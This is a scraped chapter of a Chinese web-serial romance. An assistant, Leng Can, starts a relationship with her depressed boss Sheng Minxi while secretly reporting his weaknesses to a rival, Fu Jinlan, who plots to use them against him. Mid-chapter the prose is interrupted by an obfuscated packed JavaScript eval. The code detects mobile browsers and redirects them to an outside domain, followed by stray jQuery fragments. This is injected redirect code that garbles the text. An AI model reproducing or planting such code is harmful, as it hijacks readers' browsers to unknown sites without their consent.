午后,海城。
盛旻析带冷灿去吃法餐,为她开车门,为她拉餐椅,点餐用餐时有着冷灿没见过的礼节,绅士细致,不见往日那副冷酷易怒的面孔。
餐厅人不多,处处点缀着浪漫精致。
冷灿盯着盛旻析的眼睛,等他讲述他的故事。
“你对我是什么印象?”盛旻析先说。
“啊?”冷灿的脑海里一涌而出的都是那些“冷酷乖僻,不近人情”的一面。
“嗯——”她拉着长音,若有所思,盛旻析抿着嘴,时不时地用掌心偷偷搓着膝盖,但不一会儿又冒出了许多汗。
“最初觉得您不好亲近,很严肃。但接触多了,就发现您是外冷内热。”冷灿的说话方式还是助理那一套,一时间转变不过来,客客气气的。
“我喜欢安静,所以与人交流时,也尽可能地简化程序。”看得出盛旻析很紧张,一句简单的解释也说得很复杂。
姿态气氛不像情侣,像面试。
冷灿:“挺好的。”
“其实我身上有很多问题的。”盛旻析深深吐出一口气,完全没料到向另一个人展示内心时,竟会这么紧张。
“正常。谁都有问题。”冷灿说。
“我的抑郁症很严重,时常不受控制。”盛旻析低下头,又偷瞄冷灿的反应。
冷灿鼓励他:“你要有信心,抑郁症是可以治好的。”
“我…”他把他的全部真诚一股脑儿地拿了出来,“我接受不了我哥离开,这么多年,始终没办法真正释怀,所以一直治不好。”
他说出口时,伤口还在痛。痛着痛着,忽然就不想再说了,喉咙里卡着一股气流,憋得说不出话来。
冷灿看盛旻析脸色不对,劝他:“旻析,你可以像我一样轻轻松松地讲出自己的故事,不必有负担。”
可是他的神情窘迫,一声不吭,钻进自己的世界出不来,连他自己也没料到如此反应,甚至认为自己不配得到一段感情,冷灿也没必要面对他的病情。
“不提过去了。我们周末去看电影啊?”冷灿转移话题,接着为他夹菜:“咱们边吃边说。”
但没用。他还在绷着他的情绪,放松不下来,不动筷子,也不与冷灿交流。
冷灿:“要不周末继续去打网球啊?”
任她说什么他都不说话。半响,他起身:“你吃吧,我在车上等你。”
他竟然就这么走掉了?说了几句话,就直接走了?
冷灿看着他的背影,十分诧异,也算是见识到了盛旻析的缺陷,原来他的情绪这么不可控。
一提到往事就脆弱起来,敏感得不堪一击。
冷灿一边大快朵颐地吃着西餐,一边琢磨着如何推进和盛旻析的进度。
哄骗?示弱?苦肉计?
她打着嗝,吃饱喝足,敲开了盛旻析的车窗。
冷灿把下巴抵在窗边上,瞪着清澈的双眸:“附近有个公园,陪我走走呗?”
“嗯。”盛旻析下车,情绪不见半点好转,低着头,带着半分愧疚:“对不起。”
“没事。”冷灿轻轻勾起他的手指,微微地摇荡着两个人的手臂,什么也没说,朝着不远的公园里走去。
公园有片湖,风一吹,湖水的湿气,安抚着伤口的灼热,盛旻析的胸口竟然放松下来。
善于察言观色的冷灿不急着劝他,而是带着他走到一处阴凉下,吹吹风,聊聊天。
“真舒服啊!”她倚着湖边的栏杆,看着他神情逐渐平静,温和地开解他:“旻析,咱们不着急,慢慢接受时间的安排。”
她一边说,一边摆弄他的手指,骨节分明,白皙修长,真好看。
“我的情绪时常这样,说失控就失控,你不介意?”他看着她的眼睛,捕捉不到一丝忧虑,真好。
冷灿:“你知道我的个性,面对困难,只会选择克服它,我相信你一定也会跨越过去的。”
盛旻析的视线顺着湖水延伸很远,“我跨越不了,原本该被大火呛死的人是我。我哥为了救我才冲到火场里的,你说我怎么跨越?”
冷灿被旻析的这段言语震惊到了,停下了指尖的动作。原来,故事里还有故事。
她看着他的目光里笼罩着一层悲伤,向着湖水尽头,甚至更远的地方延伸开去。
像穿透云层,触碰到了天上的盛旻延一样,眼中挂着湿润的泪,憋着流不下来,令人心疼。
冷灿轻轻地将旻析抱住,脸颊搭在他的肩上,掌心轻轻地抚着他的后背,一遍一遍。感受到他没有抗拒,便踮起脚尖,在他的耳边轻说:“旻析,我们在一起吧。”
这一套动作,轻柔温婉,不管她带着几分真诚,不管是骗过了他还是骗过了自己,盛旻析的心又活了过来。
他突然紧紧地抱住她,下巴埋在她的头发里,“灿灿,如果你受不了我,就离开我,我不会怪你。”
“我们慢慢来,慢慢变好。我能逃出苦难,就能带着你逃出你的苦难。”冷灿说得很坚定,带着那与生俱来的生命力,很有感染力。
盛旻析仿佛被冷灿眼中传递出的力量蛊惑,情绪镇定下来。将手腕一转,牵着她,继续沿着湖边走去。
他心里嘀咕着两个人的未来,明明都规划得好好的,但到了嘴边又没了信心,算了,以后再说吧。最后只会更加用力地攥紧她的手,默不作声。
“刚刚我突然走了,没吓到你吧?”他再次表示歉意。
冷灿:“你看我像那么容易被吓到的人吗?”
盛旻析:“不像。”
冷灿:“那接下来的日子,我们就好好相处,好不好?”
“好。”他低声说,毫无气势,话音刚落,冷灿蹭地一下跳了起来:“好耶!”
他看着她这么开心,像夏日的太阳一样,将所有的光芒洒进自己的眼中,不禁笑了。
冷灿忙说:“你看,你笑了吧,才多大会儿功夫,我就能让你从刚刚的情绪里走出来,所以你要对我有信心。”
盛旻析一想,还真是,平日若陷到失去盛旻延的悲伤情绪里,怎么也要两日才能恢复。
她拉着他的手继续走,走入公园的羊肠小路,穿过吊桥,踏上石板,踩着树林里的尘土……
一个如落叶低沉冷漠,一个如花朵明媚高歌。
她说:“在工作上你有经验,我听你的。在感情上,你要听我的。”
他满口答应:“好。”
她说:“你有什么想法,不要藏在心里,完全可以毫无顾忌地对我说。”
他说:“好。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645709|172448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
走累了,太阳也落山了,两个人手牵着手,准备返回江城。
日落镶在公路的尽头,冷灿仰在椅子里睡着。盛旻析握着她的左手,沉静安详,那颗空空荡荡的心突然有了重量。哇,一种从未有过的沉甸甸的满足。
冷灿醒来时,发现车已经停在了她的家门口,“什么时候到的?你怎么不叫醒我?”
“十五分钟前。看你睡得太香了,没忍心喊你。”
“哦。”冷灿半梦半醒似地打开车门。
“灿灿。”盛旻析叫住她。
“盛总,有事?”迷糊中,她没转变过来身份,没改过来口。
晚风从车门呼呼灌进来,吹着冷灿的后背,盛旻析向副驾这边一探,唇碰唇,湿漉漉的感觉让冷灿瞬间清醒,猝不及防。
他的手随之扶着她的颈,唇瓣便更加用力地席卷她的双唇,冷灿感到整张脸都热得滚烫,顺着咽喉,滚烫感蔓延全身。
她突然推开他,面红耳赤地说:“我先回去了。”
他下车要送她,她拒绝他,一溜烟地跑了:“不用送我,你快回去吧。”
回到家,冷灿心中的忐忑也久久未能退去。
她不断地反问自己一个问题:“难道我也喜欢上了盛旻析?”
还是因为没睡醒,没有做好心理准备,一时间心脏漏了半拍?
不对,只是一个吻而已,连初吻都没有感觉,怎么这次这么紧张?
冷灿倒吸一口凉气:“我真的喜欢盛旻析?”
啊?
“那又能怎么样!又能带来什么好处?不值一提。”冷灿调整心态,蔑视着这份情感,方才让内心平静下来。
睡前照例与傅瑾兰汇报工作:“兰姐,盛旻析今天见了秦念军,秦老住在海城。”
“一定是我爸给旻析支的招,旻析要在董事会通过引入资本的方案,胜算不大,他去搬救兵了。”傅瑾兰一下就说破了盛旻析的用意。
冷灿忽然恍然大悟:“秦老应该是同意的,两人聊得很开心。”
傅瑾兰:“你把秦念军的地址发给我。”
“好。”冷灿继续汇报:“兰姐,盛旻析有一个致命的弱点,他的抑郁症非常严重。提到老宅大火,他就会情绪失控。”
傅瑾兰:“哦?这么夸张吗?”
冷灿把下午发生的事情一五一十地讲给傅瑾兰,“就是这么夸张。”
傅瑾兰若有所思,嘴角勾出了轻蔑的笑:“这么看来,想让旻析下台,又多了一个思路。”
冷灿:“是的。”
“你和旻析到什么阶段了?”傅瑾兰突然问。
冷灿:“在一起了。”
傅瑾兰:“你们不是早就在一起了吗?我问的是到了哪个阶段,亲了?睡了?”
“哦。”冷灿心里对刚刚那个吻还没有介怀,她说:“就牵手,拥抱,没别的。盛旻析没谈过恋爱,节奏很慢。”
傅瑾兰:“好,你们之间的事情有任何进展都要告诉我!”
“好的。”
这是冷灿第一次对傅瑾兰撒谎,明明亲了,但她说不出口。
挂了电话,冷灿感到一股深深的失落缠绕着自己,她望着初秋的夜空,明朗清透,可内心却是失落、失落、还是失落……